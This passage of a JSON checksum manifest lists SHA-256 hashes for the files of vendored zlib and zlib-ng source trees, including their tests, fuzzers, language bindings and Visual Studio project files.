ad9a4e2ecce0c052b0bfe19834d3ff2fb2e9239cc3438a2c95db00b1d21","src/zlib-ng/test/crc32_test.c":"8f1223d8aa4c52a5e7323f422023f6b892ce684eaf7439ad905b855293f40143","src/zlib-ng/test/data/fireworks.jpg":"93b986ce7d7e361f0d3840f9d531b5f40fb6ca8c14d6d74364150e255f126512","src/zlib-ng/test/data/lcet10.txt":"1eb5d7bddb1c3cb68064d5b5f7f27814949674b6702564ff7025ced60795a6d9","src/zlib-ng/test/data/paper-100k.pdf":"60f73a051b7ca35bfec44734b2eed7736cb5c0b7f728beb7b97ade6c5e44849b","src/zlib-ng/test/deflate_quick_bi_valid.c":"a36697e5779a645354823f14540bd60b9378c2f4c5f2bb981d86bb34f29fcbb0","src/zlib-ng/test/deflate_quick_block_open.c":"455bd347bb88debdfacb409846170274991ec9ba71c52b8fd0e526daf57265eb","src/zlib-ng/test/example.c":"1c8d9d14128da9fb5415683aa7318ae0aa94b743f75905288a2a9decd4ead98d","src/zlib-ng/test/fuzz/checksum_fuzzer.c":"65a96358c9a82efc4b251b4f322b02fade7b69f9bc6ac07294e641e3fe1ccdb1","src/zlib-ng/test/fuzz/compress_fuzzer.c":"1ab70608075c4bc60f89aa2f327cff88362ee7b1d31da88ed54ca51e5f99e5c9","src/zlib-ng/test/fuzz/example_dict_fuzzer.c":"be68f9eee3deae7f9163c6288742e5455bc28f659f80fdb276fafe215f028b97","src/zlib-ng/test/fuzz/example_flush_fuzzer.c":"f12246a184dcfe0a19a98cdc742a1fe8da388ad20b406635d63f1fa10d45b9ca","src/zlib-ng/test/fuzz/example_large_fuzzer.c":"f490abcd332fb4e7921292adf6876d38d7f71c8d2443212c781ba88957ff9303","src/zlib-ng/test/fuzz/example_small_fuzzer.c":"a9b3436b291ace821b6013311a1100e19a9e1c67fefd3f97dbd60688f9bf22b1","src/zlib-ng/test/fuzz/minigzip_fuzzer.c":"5faecfe9e6ecc47e746151bd1cc24a2e2dba8b7ffeb270d2c88cb126273ab446","src/zlib-ng/test/fuzz/standalone_fuzz_target_runner.c":"f25649ed35b8b7a3899c8d7ff52f9972dfc7bf274889e0a7a77fbfdf1c1cfef0","src/zlib-ng/test/gh1235.c":"8310ef780dc483a1708750cd7c120b8e9cc0e1614767d24c01869e529074e981","src/zlib-ng/test/hash_head_0.c":"448def3e8ea13fbcac86202e50b8a71b6cea585d7bdbca0bc6cf6056e4059f98","src/zlib-ng/test/infcover.c":"9c0e8068fdc614b1852e8d274231b41ce3ce975d4419ed31e700a0b05e702303","src/zlib-ng/test/inflate_adler32.c":"ab430c97ae8f569784710118038e8ebf53f4136d1a957e1277c0904f9218340b","src/zlib-ng/test/minideflate.c":"34fdce39628ffd173f7736d9fb65dfa40d0b0289def64b935075f6c6cffe1999","src/zlib-ng/test/minigzip.c":"7dbce6528601f7fdd586280885ed439cb539e15f36dd3974274729bfcdd41928","src/zlib-ng/test/pigz/CMakeLists.txt":"aa70f1025adc004985bfe0accee9b7a80e04786d82705e27c377a5e8d4ecbaaa","src/zlib-ng/test/pkgcheck.sh":"581b3de9c58e96038af94c73cbdb30eed32900f7abb8fa7692426fa68059b0ef","src/zlib-ng/test/switchlevels.c":"ceb6cc4d48a637562009d8f7f82635fa9942acd1bfd597acd99454a03a3a98e3","src/zlib-ng/test/testCVEinputs.sh":"5de6198444c16726f8e0a8f2beb5b89c5ae7e7e3736ce760b9fbc719493e7e4f","src/zlib-ng/tools/codecov-upload.sh":"ec7a8f1405820810e486e3d7e2fda7eb958c17877b0000b93abdf09d87732a2f","src/zlib-ng/tools/config.sub":"32186cfeb5db62c99e1dfbfb07f24c1a50977447b4c26d2907021c74422a70d2","src/zlib-ng/tools/makecrct.c":"55c8f7b8e29393e95988a29de8cb1a1bdf2738a69d53627bd0f9d7bf169bf0a8","src/zlib-ng/tools/makefixed.c":"bffd02540231304f9bcc755b8cb9ae5cfbc48975857bbb4547f1d6acce21ef57","src/zlib-ng/tools/maketrees.c":"30e9f70addf691d1241e594a7f31fc78b119b65e8af9ac8e20fe6da01635d3b3","src/zlib-ng/trees.c":"2cd9a1dc8d9231e9fc4e53e56b87307989c1b7f33212cde4ee434ef71c28af2a","src/zlib-ng/trees.h":"24174f3543b01ee1ef370bbf6d15551a21871cded18b2aadf09a71e7904b6f99","src/zlib-ng/trees_emit.h":"2e93093ae5362523a26877d6fd663bb05793795889d2bfb987cbada9a9dc4517","src/zlib-ng/trees_tbl.h":"35f4fd0ec080c1ade342e2dd1b0f5cdc7e9f18990faa48d7a8a69bc318ebe607","src/zlib-ng/uncompr.c":"4ebb486b27930f8a6ec4a3cc90a207d0bcf8a4779d1dbf3b2184a2b2a5735cd1","src/zlib-ng/win32/DLL_FAQ.txt":"f17fd3823726adbae63b91c00d5db1dccae2e289258edabbbbebde04bb6e7e8c","src/zlib-ng/win32/Makefile.a64":"775d6902373d1583430b5d7467f001746be323610c89be27e02bbfe0205994f3","src/zlib-ng/win32/Makefile.arm":"7535e022f482920c3fa7a267e84e39ad790d150f72e5c30414baa156c2fdd9b6","src/zlib-ng/win32/Makefile.msc":"d769a00c0ad4cb5fc624d2ae004dfa3785a2f4310324b03afd2156e759003a06","src/zlib-ng/win32/README-WIN32.txt":"cdcca6e7a5d2d23618a48fafb8eea347227f8ecf1f38a6aa90f0e7e455bc6574","src/zlib-ng/win32/zlib-ng.def":"f240276caf805a10d024fc6a66efe915c435734c69732818d92fb04d08ab350c","src/zlib-ng/win32/zlib-ng1.rc":"ea0ea4d116b583510b113a27fdec2ad4f0890206963f0e3838f275b8005dde5d","src/zlib-ng/win32/zlib.def":"d9c371ff2677567350386441a2e3d0258010d6502290bbac5ac42ea168bd5212","src/zlib-ng/win32/zlib1.rc":"ec5021dba35f9fae5f5f82ad6b6bd059928548e0608e4ede0bcffccf5c1210a1","src/zlib-ng/win32/zlibcompat.def":"73728b9df4379dc70ebd9b2a9f20d6e4ed7c031fa1f351cdeae1de7d1db05bd1","src/zlib-ng/zbuild.h":"d4d52d3296cc949a5d694e7349a8236854f2ec116c184a310e4e62b28caf5b63","src/zlib-ng/zconf-ng.h.in":"f206ac69c1fa48c670648d26028263372a539ed1243a9a26e5b35bf52e2363ff","src/zlib-ng/zconf.h.in":"dbf08736c3bc5e41242b09e13d0a523b440250410476dd58747c14e28984f1e5","src/zlib-ng/zendian.h":"f5cfa865281d2c5d0b097d318500f27daeec346e7882de68e279486d79c52e77","src/zlib-ng/zlib-ng.h":"d51896e8411868ed195d5cf41fda4f1c5a9c891832dfd16b559a5ed6beedd890","src/zlib-ng/zlib-ng.map":"03ef4439594619e215dbb1717f8c13e16159308ef3817761ba1a3cca7f7834df","src/zlib-ng/zlib.h":"7e3666971e08019fc7097f11d593aac9ff6824a1ecc945c48f76009f7c27d55a","src/zlib-ng/zlib.map":"9997aa913dec6da106ab2089d2a72ca5e1b7fafe0807ac0bc1318ce8c8defab9","src/zlib-ng/zlib.pc.cmakein":"17668e07edbe5971043bea26a2f2b92c4c7cf4724620f1156f3ea1436d2aac93","src/zlib-ng/zlib.pc.in":"cf94c9aa44878a62e27c2f75354c08326b3bb5250a9b11496855cf59691177bb","src/zlib-ng/zutil.c":"53418b23c7878e968b4d04df8ebac74f64f60d32277f2343d16da52059dbc782","src/zlib-ng/zutil.h":"a14c18dd4a96909aaf0aa016cb6df97d77cf5b735283527c906181eead22f0e9","src/zlib-ng/zutil_p.h":"c259b33614007463b41d4184e0bdf10d62325445ee9308e1e1885862d201657a","src/zlib/CMakeLists.txt":"d3ea46cd350c74c21c2dd97f6d0ad354db76b2b43cc91ec1144b88267f67a588","src/zlib/ChangeLog":"6933f4ab74360476bc80d9eda2afd98f93588a5d276e1197926267421dd6959e","src/zlib/FAQ":"1e8a0078be0ff1b60d57561a9e4a8cad72892318a8831946cba1abd30d65521c","src/zlib/INDEX":"3b4e325d47ae66456d43fcf143ba21ab67a02a4f81be7ef2da480ba30d774266","src/zlib/LICENSE":"845efc77857d485d91fb3e0b884aaa929368c717ae8186b66fe1ed2495753243","src/zlib/Makefile":"ef23b08ce01239843f1ded3f373bfc432627a477d62f945cbf63b2ac03db118a","src/zlib/Makefile.in":"77a662b885182111d7731eef75176b4c5061002f278b58bf9bf217e2fa16cadb","src/zlib/README":"4bb4d5664fb9d06ef0d47e8ef73104bd545a5a57eb7241be4f2e0be904966322","src/zlib/adler32.c":"d7f1b6e44fee20ab41cef1d650776a039a2348935eb96bcbd294a4096139be3a","src/zlib/amiga/Makefile.pup":"a65cb3cd40b1b8ec77e288974dd9dc53d91ed78bbe495e94ccc84ddd423edf1f","src/zlib/amiga/Makefile.sas":"0e63cf88b505a1a04327bb666af3a985c5e11835c0c00aed4058c0dcc315d60e","src/zlib/compress.c":"6d0f0d0784744acca2678ce325c8d7c4c030e86f057adb78adcee111d2248c0d","src/zlib/configure":"2d964a697f9060d3a8fc5b4272c9d07b22e5fe6f5cf327e5c29f62f67d935759","src/zlib/contrib/README.contrib":"b925ae08d371b33c4b5ffd67c707150729a476caf47cfe2eafc002291f23f931","src/zlib/contrib/ada/buffer_demo.adb":"469cf566a6965767fee6b987a239ed8cedcc66614940d45a9b434331fbb435ce","src/zlib/contrib/ada/mtest.adb":"41b6f31684770334afdc4375871eb1408542f37a823a073556fdbfdb63753160","src/zlib/contrib/ada/read.adb":"fa5b989aef0c5715a3fcb15de93985f7f10aeb0a7f5716745c95ed820eb9af9c","src/zlib/contrib/ada/readme.txt":"8fe9e5303f2e8e8b746c78250e74b7c4aeb7ce6212fdce751fc3a0ce56a47fe2","src/zlib/contrib/ada/test.adb":"5e3abe79b387e09a9a42bd0543105e228f39a335240cffc33d71f0ba66ff2511","src/zlib/contrib/ada/zlib-streams.adb":"f45988e2bac76eb25a0dc981f46576e7432c35dde1790bbc2b650f0090b7fa72","src/zlib/contrib/ada/zlib-streams.ads":"969e8edb0611810fb52159dcb7c40228f4e5da810a7a3576b778116a93038c6b","src/zlib/contrib/ada/zlib-thin.adb":"03d89244ee5ec9771d9b5050e586c609f851af551b2e64eb151f1d5be0b63ae9","src/zlib/contrib/ada/zlib-thin.ads":"631ef170bde16c3ca8d412b54a0e519815b80197d208f8f393e6fe017bb0968e","src/zlib/contrib/ada/zlib.adb":"c9ca5dc34fbcdf06e2dc777b7e9dcd0ba31085b772b440eb0e12421323ab672c","src/zlib/contrib/ada/zlib.ads":"02634bec0d5e4c69d8d2859124380074a57de8d8bd928398379bfacc514236d2","src/zlib/contrib/ada/zlib.gpr":"859bb69dce38dbe9dca06753cf7ae7bd16d48f4fece8b87582dab8e30681d3de","src/zlib/contrib/blast/Makefile":"17d5d26c24bf51cad51045a38ffb73cc3539d29e89885aa249fcfd45a8659d5c","src/zlib/contrib/blast/README":"baa763ae03d88ef7ece6eb80d9a099b43d0b57639d6d281e1c7c6ca79d81daba","src/zlib/contrib/blast/blast.c":"1ab3e479d342bfc144167b808fb00142264bc50f24a110ca88cc774e351c218e","src/zlib/contrib/blast/blast.h":"9c1c422b76311d4cb06863ffc056668b6240f3dd998bc02e89ee590d482bfdc2","src/zlib/contrib/blast/test.pk":"5f5c262c545574a5c221132d5ef832478d222d70b015341795b3860204140d7c","src/zlib/contrib/blast/test.txt":"9679b2c98e1283222d0782b25a1c198dc64ba9ebd1addd6dc6f643a45947cda3","src/zlib/contrib/delphi/ZLib.pas":"6dcc65866e3fb3d33d2a2328c547458156883a3e6749d52ded209357a49d61de","src/zlib/contrib/delphi/ZLibConst.pas":"84bcc580bdf397e570f86f3f5a5b8c7bf537828f30b4b72648b81911f6bf5095","src/zlib/contrib/delphi/readme.txt":"f7420ed2de77d4b498eefbbe6402a1d17dc2d411735289c78a265c7f10fdaee5","src/zlib/contrib/delphi/zlibd32.mak":"850e91b6c9ea05de61a411cbda16fa0f10118cd88bb32c4b7226988776f8d511","src/zlib/contrib/dotzlib/DotZLib.build":"b96137097669644ecb9f42cdd3399d1fce9c512788374609303f7e50abf597f0","src/zlib/contrib/dotzlib/DotZLib.chm":"20d0e3edd57f849143255a7f0df1cd59d41db464a72c0d5ab42846438a729579","src/zlib/contrib/dotzlib/DotZLib.sln":"a979198c5b8d144c1ac8f993bfb6f4085d135aa58ca9dcf63ebabf52b5c695f7","src/zlib/contrib/dotzlib/DotZLib/AssemblyInfo.cs":"314afcfb339ea95f5431047b7ab24631b11c3532c7ce5dc2094ed0cf80a7c16d","src/zlib/contrib/dotzlib/DotZLib/ChecksumImpl.cs":"e7c047a2c3bcf88d3d002ee3d2d05af414acf53cb4451efacc0f2e95a474ea0f","src/zlib/contrib/dotzlib/DotZLib/CircularBuffer.cs":"be84c9736fe7bdc2bfae70466d8fff582504e928d5b5e110fd758090090c8cb7","src/zlib/contrib/dotzlib/DotZLib/CodecBase.cs":"259bdda1b7d6052134e631fa24bfd9dca6e2362563496c8b85257b56c848908c","src/zlib/contrib/dotzlib/DotZLib/Deflater.cs":"06ba6696a3c15c53ba5fd5a1c2bf50b51f217010228fc1e4c8495ee578f480de","src/zlib/contrib/dotzlib/DotZLib/DotZLib.cs":"9837fe993fd631233cc5e53ff084d86754b97f05ec77c54b0764c2706f186134","src/zlib/contrib/dotzlib/DotZLib/DotZLib.csproj":"21606db31dfef6410dd438b73f1db68856eacabcce6c0f0411fc4f17e17001f3","src/zlib/contrib/dotzlib/DotZLib/GZipStream.cs":"8d1de9755c77046b4ac71340a0a54434ebf4fd11b085c44454d7663a9b4df1c5","src/zlib/contrib/dotzlib/DotZLib/Inflater.cs":"9016ca73818f5b6a28791abc3af6da7c4d2773b6a3804f593f6d5737a62b99ad","src/zlib/contrib/dotzlib/DotZLib/UnitTests.cs":"c95048d763c7e367ba0bb7c31981e0610131fa12356bbd9bfdb13376778e9a0c","src/zlib/contrib/dotzlib/LICENSE_1_0.txt":"36266a8fd073568394cb81cdb2b124f7fdae2c64c1a7ed09db34b4d22efa2951","src/zlib/contrib/dotzlib/readme.txt":"d04972a91b1563fb4b7acab4b9ff2b84e57368953cc0596d5f5ea17d97315fd0","src/zlib/contrib/gcc_gvmat64/gvmat64.S":"22ff411b8b1d1b04aeaa8418b68245400267dc43c6f44104f6ccd37f0daee89f","src/zlib/contrib/infback9/README":"890288f02bb3b1f9cc654b87a07fcea695f90f6b9bd672d25bf6be1da2ec1688","src/zlib/contrib/infback9/infback9.c":"0a715c85a1ce3bb8b5a18d60941ffabc0186a886bcc66ba2ee0c4115a8e274e9","src/zlib/contrib/infback9/infback9.h":"dda2302f28157fe43a6143f84802af1740393572c2766559593996fd7a5a3245","src/zlib/contrib/infback9/inffix9.h":"84a2ba4727767c18af6505f0e81d9c814489c8b9ed330a25dad433db72997e43","src/zlib/contrib/infback9/inflate9.h":"32a907676cc36e27d0fdc0d99adb83a0b23f20ab61896269216d40fecf08d349","src/zlib/contrib/infback9/inftree9.c":"1f262e5ae8094c9d8b172241e567c86be560327b840ca8fb771e98461bcb158a","src/zlib/contrib/infback9/inftree9.h":"145072793141cb313c91cdf9dee9d4b8e8a38d77099f87e9cd05c7b5ead8f099","src/zlib/contrib/iostream/test.cpp":"0f3c77e013949eb9c91e6b690ea894e19d97944d6b0885b82806fc3ad99680cf","src/zlib/contrib/iostream/zfstream.cpp":"8ebb9b3d521cc3392953f27658cf1f6dcb763216079f69a1518ec5ca0e42a63b","src/zlib/contrib/iostream/zfstream.h":"4369c35e66f63f52ca4a5e1759bf720507ccabb8f3f132e2f18e68686c812401","src/zlib/contrib/iostream2/zstream.h":"d0343e0c57ff58008b6f29643d289c72713aa2d653fe3dcd2e939fc77e7e20b6","src/zlib/contrib/iostream2/zstream_test.cpp":"f789df183cc58b78751985466380c656308490a9036eb48a7ef79704c3d3f229","src/zlib/contrib/iostream3/README":"43ec48ecbd95a8c45db20b107fac73b740bb11595a4737329188f06b713972cc","src/zlib/contrib/iostream3/TODO":"af5ebc83fb88f69706c8af896733784753dead147687e1c046f410c0997fd88b","src/zlib/contrib/iostream3/test.cc":"8e17fc48dfdbc6e268838b8b427491b5843b6d18bc97caa6924de9fad7abe3da","src/zlib/contrib/iostream3/zfstream.cc":"8cdd67ed0b13c192c11e5ea90e9d5782d6627eb303fbc4aa5ebda2531ec00ff8","src/zlib/contrib/iostream3/zfstream.h":"1bd74778fac45ee090dfc0f182a23e8a849152deb630606884b2635987b357b1","src/zlib/contrib/minizip/Makefile":"0f59cf07531cf34cb359f9dbe26d8207a2bbbdad618557894eb629925f7e8899","src/zlib/contrib/minizip/Makefile.am":"2313a3480a2c3745fa7ce216829cd0367058907d3a0902e5832c66c84a2fdfc6","src/zlib/contrib/minizip/MiniZip64_Changes.txt":"302c62b328647f5472fb7755249a83459be7f8ffb1fae07e8ba318fce8f4126c","src/zlib/contrib/minizip/MiniZip64_info.txt":"122719c32ef1763a5f6ba9c8cdefc1d78a76f7156b09e7b6f69b73f968e0dac3","src/zlib/contrib/minizip/configure.ac":"959e4762ddcb36dcf30512611ca9fbcbcd0c943228a6ac2975708798ae09a438","src/zlib/contrib/minizip/crypt.h":"1d25a0fab3189dc3c6ae43c7813e1e5d07d0d049bd32bd7bd0e9ccd752bfdd5e","src/zlib/contrib/minizip/ioapi.c":"f6878a3ecf6802f0f75cadb41a114fa274636c386bac794c66cbb27a24d9a29f","src/zlib/contrib/minizip/ioapi.h":"9f5448f8d5e8894d6f397dd09d24f7ff39cb818cd493a8bd90dda19553b814ea","src/zlib/contrib/minizip/iowin32.c":"103cdef91d57ceca7a1c1973772ff7e1d44c7b3e227a3640171957302bd9e974","src/zlib/contrib/minizip/iowin32.h":"586f22b9c3c64da253ce2b518e0fad61f19a7b47b289fc704cc9708242294c49","src/zlib/contrib/minizip/make_vms.com":"65736d9c4888f2373d3db0a13864d150c5040453f5bc2a5c8784379a7ea67590","src/zlib/contrib/minizip/miniunz.c":"b29dfb4cff9763497d8f0656c97027995e1ea0b4104e4a217ba7882337ae7a7a","src/zlib/contrib/minizip/miniunzip.1":"66d8684392167091ef0fe01598d6a0daa26e7e448e2df6c3cb257487735b83f7","src/zlib/contrib/minizip/minizip.1":"5404596e8e5587a52f563906119f32ceee30a6d97a966afa5c7afbe4d373e210","src/zlib/contrib/minizip/minizip.c":"b5b8f380297be0d90265356704df1e41bee0e903a2169263a2b50dc22cc3180a","src/zlib/contrib/minizip/minizip.pc.in":"8b6670b42d8e5e519e1cc89db093efc07ba23cb1ddfedd3c93ff2df08c3ce8ac","src/zlib/contrib/minizip/mztools.c":"cd887c4af6d20823bd15f24008b10acf01969b4165d7848656bde843a92428d7","src/zlib/contrib/minizip/mztools.h":"6f82c52279e8f79165f4446be652e5741a49992ac58632470335aa34c564072a","src/zlib/contrib/minizip/unzip.c":"fc9e8d752618a05c1f3a2ce61ebf76d0c8053dd5579458f836834a36e8690bbe","src/zlib/contrib/minizip/unzip.h":"20cdc47658a3e41db897d31650e46cd2c8cca3c83ddaaeb6c7a48dd8b7f18e03","src/zlib/contrib/minizip/zip.c":"bee2d6fa310c9451b24c036d5840a8c7c90b7cf8d12d5767175c207e56fefcc3","src/zlib/contrib/minizip/zip.h":"75b635dca8294790ab7ec1f72e9f1fd352d75b189c3c9b61c68f76bd7e612043","src/zlib/contrib/pascal/example.pas":"d842d456ecb6ff80e34cee2da31deb2072cc69ca837497bea8b8bee203403474","src/zlib/contrib/pascal/readme.txt":"02f997c37991ddae0cb986039f7b4f6fc816b3fd0ffd332cad371d04c12cf1b9","src/zlib/contrib/pascal/zlibd32.mak":"850e91b6c9ea05de61a411cbda16fa0f10118cd88bb32c4b7226988776f8d511","src/zlib/contrib/pascal/zlibpas.pas":"720346d2f40429de31bb16a895f42e878f259b1aff7d46c63e6616e629b3f7d5","src/zlib/contrib/puff/Makefile":"d9d738030464aaae354196c14fd928adf591832fce7d71ac1977c1d8d4923a4b","src/zlib/contrib/puff/README":"c5b9852fb11e0d6b6e916e5134cf034524d901b95368972133e0381e480eb479","src/zlib/contrib/puff/puff.c":"433f7f4495481dd95576dbb548b1bcfc5ca129d30421695fa609f5f6c14908b6","src/zlib/contrib/puff/puff.h":"969b7be2a930db0cdcb19b0e5b29ae6741f5a8f663b6dba6d647e12ec60cfa8e","src/zlib/contrib/puff/pufftest.c":"d24e31c1d277d07c268f34e9490050c6b53c68b128da3efbb1d05fc5b31004f7","src/zlib/contrib/puff/zeros.raw":"b7b0887089f7af1f6d1e0b4c0a1e8eddd10223b23554299455c6c9be71b653a3","src/zlib/contrib/testzlib/testzlib.c":"c6c37b35c6ecc9986a9041f86d879cc37a9e4d8315af9d725071eb3b2cade0c5","src/zlib/contrib/testzlib/testzlib.txt":"2359bbdc84eb8a04e0f1cd16cd81a2896e957f2ad58dab3ca78ef55b7d0dc577","src/zlib/contrib/untgz/Makefile":"8f5ab1564813e091cea8f1bb63da32fd80ac763d029277b0cabf50f60aceefe1","src/zlib/contrib/untgz/Makefile.msc":"d0f537de11d9e0e36e2a98b3971c537265f4b533b4c48797094365ad9ae8388b","src/zlib/contrib/untgz/untgz.c":"9a12d774301d252dcd38bba07ac369319da4c04c4fef8a50fcbf40aebf29c2a1","src/zlib/contrib/vstudio/readme.txt":"df5fe112bef3c23d5767602736f6d0ce43cbb49b584210fe57f6f59e634a49d0","src/zlib/contrib/vstudio/vc10/miniunz.vcxproj":"dd607d43c64581172c20c22112821924dfe862f56b2e5eb8780bdd0714d9527b","src/zlib/contrib/vstudio/vc10/miniunz.vcxproj.filters":"4b8466bf00c70b81c31cc903e756e04151fd90fdcbe102f3568a2c8b6190ea27","src/zlib/contrib/vstudio/vc10/minizip.vcxproj":"af73f2cf8ae51e65e85342faeb40849a2310c97bc77def42b38d7070460a6cf0","src/zlib/contrib/vstudio/vc10/minizip.vcxproj.filters":"f2815f9e3386c393d0a351632823b221ef9689da1f422ecaa561dba2a612fb0a","src/zlib/contrib/vstudio/vc10/testzlib.vcxproj":"c21e64259bf9efe97e1103212e7a6e1b7372b50067b4ba14cfa678e1f491095f","src/zlib/contrib/vstudio/vc10/testzlib.vcxproj.filters":"a7caddbac3ba90b5d482e6d926ef35cc40dc3553ed3776ef6b68a528fd5b0631","src/zlib/contrib/vstudio/vc10/testzlibdll.vcxproj":"3f317d8964f17901c3e68bff5deaec10b6ccc50a572235999e8097292692984c","src/zlib/contrib/vstudio/vc10/testzlibdll.vcxproj.filters":"29c9535775aa76320ee4efd001d41961faf6c58cedd8b29d3986e85f73d2f6fb","src/zlib/contrib/vstudio/vc10/zlib.rc":"6041a4727ea47520058a5b4bb8de87592883eb7f26dd39df62879c347f3888d1","src/zlib/contrib/vstudio/vc10/zlibstat.vcxproj":"50402ab8c63f746c034d6ce51d9612aff5b6af9aa27790cffa4b7deed4b30eb8","src/zlib/contrib/vstudio/vc10/zlibstat.vcxproj.filters":"eeb1de64c252c46b822f73f272127f6f9f0570ef22d234e093070ba95a4dde24","src/zlib/contrib/vstudio/vc10/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc10/zlibvc.sln":"e659860f705f31b87ea9139a3cb4ebe1561e120bce495383a54614fc82b49990","src/zlib/contrib/vstudio/vc10/zlibvc.vcxproj":"efad8cb150c0e5122f8c700d95c5de659dff92b171917c66bdbd082fff500b58","src/zlib/contrib/vstudio/vc10/zlibvc.vcxproj.filters":"c801732b7c7017796add50d2b71a228f99f95a46650baad307ff7e8358a2bfb0","src/zlib/contrib/vstudio/vc11/miniunz.vcxproj":"746e4c11fb8af4bcd6a9d68ba81ed1dc366a5de3bed56b291ee969ad733a7bb0","src/zlib/contrib/vstudio/vc11/minizip.vcxproj":"340617cae9cf4fcb003308021d3782ec3639e60d62d79a3aafc0a50bb55b061e","src/zlib/contrib/vstudio/vc11/testzlib.vcxproj":"99eadfdf2e41bc036141c174c4d0035d87572ce5795dcc28f39133f818a79d08","src/zlib/contrib/vstudio/vc11/testzlibdll.vcxproj":"583bdef522b0176829f0d8139ea2a88b9cbc14379d1334f3a863989ed3df9b67","src/zlib/contrib/vstudio/vc11/zlib.rc":"6041a4727ea47520058a5b4bb8de87592883eb7f26dd39df62879c347f3888d1","src/zlib/contrib/vstudio/vc11/zlibstat.vcxproj":"b07f792843d05ac883391075bc3b9625437490d8d40944ad359aa2134a09a3aa","src/zlib/contrib/vstudio/vc11/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc11/zlibvc.sln":"27389b515997defd080519f95aff87e89fcbe8b26d73c5ebb73c544cfef4d60e","src/zlib/contrib/vstudio/vc11/zlibvc.vcxproj":"d02d014ef957119a6fd0ab243c892b74d1592b117750b95fed21097c8ed922d9","src/zlib/contrib/vstudio/vc12/miniunz.vcxproj":"1494af54570f6e93852932956d49a8c25e57b5abc1ac979945605ca9143df9f8","src/zlib/contrib/vstudio/vc12/minizip.vcxproj":"9bf128ed6760ca5f019006f178b1c65f4c7ff122dba8d297b64b0eb72feeb120","src/zlib/contrib/vstudio/vc12/testzlib.vcxproj":"be88bc1220c0447c2379fdab3ac88055f58a8a788d3e9cec494342187e760eaf","src/zlib/contrib/vstudio/vc12/testzlibdll.vcxproj":"93416510256935d79625dc9fd349cfce6968c062d42a138bec404a26b2f92f5e","src/zlib/contrib/vstudio/vc12/zlib.rc":"90067be57a8c5df594a850352642f8b1dcb32e3d088d3805ebafe75a27412b74","src/zlib/contrib/vstudio/vc12/zlibstat.vcxproj":"faa229a851c76b77d65bb4742d8369efe566652bb6a1447d1e3539f289b5313d","src/zlib/contrib/vstudio/vc12/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc12/zlibvc.sln":"162e0faa80a56d89eea71a0b89377708eec2faa0dc72091cc0abb07fbdea49a0","src/zlib/contrib/vstudio/vc12/zlibvc.vcxproj":"8ac8cb2d29b880a738011d29d0511af9b14f321bed90f674109c446f4108d442","src/zlib/contrib/vstudio/vc14/miniunz.vcxproj":"0312511d4a30cea979c4e36edf994a537ed8a9d924f6b5c536cbcd094773c11f","src/zlib/contrib/vstudio/vc14/minizip.vcxproj":"9e7bb7a6ac723e4b2db900627c366f9bb93a351381995d9c69a50c0126f64233","src/zlib/contrib/vstudio/vc14/testzlib.vcxproj":"88667873d9d61d65016b9501ca925532eb55f56230e5911d3e2a01cd8a9fb2a4","src/zlib/contrib/vstudio/vc14/testzlibdll.vcxproj":"69f544898b4275cd3d8e19b8f1f8cb39c1cb98a30cdb033242e4b94c57bfa150","src/zlib/contrib/vstudio/vc14/zlib.rc":"90067be57a8c5df594a850352642f8b1dcb32e3d088d3805ebafe75a27412b74","src/zlib/contrib/vstudio/vc14/zlibstat.vcxproj":"5629eb0cc30674a39aa3636f1cdd190393b0dbd4c69a35e36ad85b6340055605","src/zlib/contrib/vstudio/vc14/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc14/zlibvc.sln":"47a50bbde8ca6336cecd8c0e4b65e515fc46ae84c7b61008ac9864162f777286","src/zlib/contrib/vstudio/vc14/zlibvc.vcxproj":"09f496a2ad3afdd5e3f36b7285440369dcac4559656edc00ed7a74c7ec9fa10f","src/zlib/contrib/vstudio/vc9/miniunz.vcproj":"7db9b2ef5ff05d3de4ba633feab10e85d45434c865d520ffa1974421904996f3","src/zlib/contrib/vstudio/vc9/minizip.vcproj":"7797a9ad3c0056f3a3cf8fcde7618acd1d151c65d15f841fccd8d9d878ae7bb0","src/zlib/contrib/vstudio/vc9/testzlib.vcproj":"8df405917800adccee6bad2116022c2c82d661b37ea40ea16405fe4dbcb4b69f","src/zlib/contrib/vstudio/vc9/testzlibdll.vcproj":"cde6806f5c81d1fc311f9921c17ba56f8e386d097783a6a90875d385837c47e7","src/zlib/contrib/vstudio/vc9/zlib.rc":"6041a4727ea47520058a5b4bb8de87592883eb7f26dd39df62879c347f3888d1","src/zlib/contrib/vstudio/vc9/zlibstat.vcproj":"d393d418d827ad9fb9c6516f1a7620371d15e3f5afef8ba60b51e50acc7199e9","src/zlib/contrib/vstudio/vc9/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc9/zlibvc.sln":"26e58d4b2cfcd941c367fb2a18537b3b9f002f2ac1278b700ea1129c50501452","src/zlib/contrib/vstudio/vc9/zlibvc.vcproj":"eaca98fcf166738b59fcdbd179dac9f98f985c6ba49212b186343a998816f081","src/zlib/crc32.c":"ec3ff0f97858b228513027a490e4330cbb23c6fbdd24d839902ffa89854f209c","src/zlib/crc32.h":"9a2223575183ac2ee8a247f20bf3ac066e8bd0140369556bdbdffc777435749e","src/zlib/deflate.c":"4470e36709ce7d6067fa3e8f60bb7f693b055bee42a0d6655ed71faa2db87fde","src/zlib/deflate.h":"0db1b5ef79ca6ba0f508b7b8bdaa11af45c5ebe2c89ab4f1086dc22b963a52fa","src/zlib/doc/algorithm.txt":"992590931e982c0765286c2d83f6e9ff0a95aabb08e28c30c52bae3e8c4bd5ad","src/zlib/doc/crc-doc.1.0.pdf":"064f9252d6e2e15ea56c2bd18e160e5c9c84bcd137c11a7af497aaa511ace998","src/zlib/doc/rfc1950.txt":"8f0475a5c984657bf26277f73df9456c9b97f175084f0c1748f1eb1f0b9b10b9","src/zlib/doc/rfc1951.txt":"5ebf4b5b7fe1c3a0c0ab9aa3ac8c0f3853a7dc484905e76e03b0b0f301350009","src/zlib/doc/rfc1952.txt":"164ef0897b4cbec63abf1b57f069f3599bd0fb7c72c2a4dee21bd7e03ec9af67","src/zlib/doc/txtvsbin.txt":"d1549fb75137f03102798f70fd34ff76285e717ddd520dd82274c1c0510eacf0","src/zlib